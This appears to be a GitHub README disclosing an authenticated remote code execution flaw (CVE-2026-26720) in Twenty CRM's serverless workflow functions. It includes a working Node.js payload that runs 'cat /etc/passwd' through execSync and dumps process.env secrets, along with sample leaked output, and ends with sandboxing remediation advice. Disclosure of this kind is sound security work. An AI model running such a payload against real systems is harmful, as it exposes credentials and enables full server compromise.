dillonkirsch/cve-2026-26720-twenty-rceProof-of-concept for authenticated remote code execution in Twenty CRM via unsandboxed serverless workflow functions, allowing arbitrary Node.js command execution and environment variable disclosure.
Product: Twenty CRM
Vulnerability: Remote Code Execution (RCE) via Serverless Workflow Functions
Severity: Critical
Affected Component: Workflow Automation (Code - Serverless Function)
Tested Version: v1.15.0
This repository documents a critical vulnerability in the Twenty CRM workflow engine. The "Code - Serverless Function" component allows authenticated users to execute arbitrary Node.js code. Due to a lack of sandboxing, it is possible to import the child_process module and execute system-level commands on the host server.
The application allows users to create custom automation workflows that include a code execution step. While this is intended for data manipulation, the execution environment does not properly restrict access to Node.js built-in modules or the underlying operating system.
An attacker can utilize execSync from the child_process library to:
cat, , ).lswhoami/etc/passwd).process.env), revealing database credentials, API keys, and application secrets.import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. Remote Command Execution: Read system users
const output = execSync('cat /etc/passwd').toString();
// 2. Information Disclosure: Dump all environment variables (Secrets)
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
Code Overview
The workflow executes successfully and returns the system data.
System File Access (/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
Environment Variables Leaked:
The process.env dump revealed critical configuration details:
PG_DATABASE_URL (Database Credentials)APP_SECRET (Signing keys)REDIS_URLAWS_ACCESS_KEY (If configured)This vulnerability allows an authenticated user (with permissions to create workflows) to achieve Full System Compromise.
To fix this issue, the "Serverless Function" feature requires proper isolation.
child_process, fs, and net.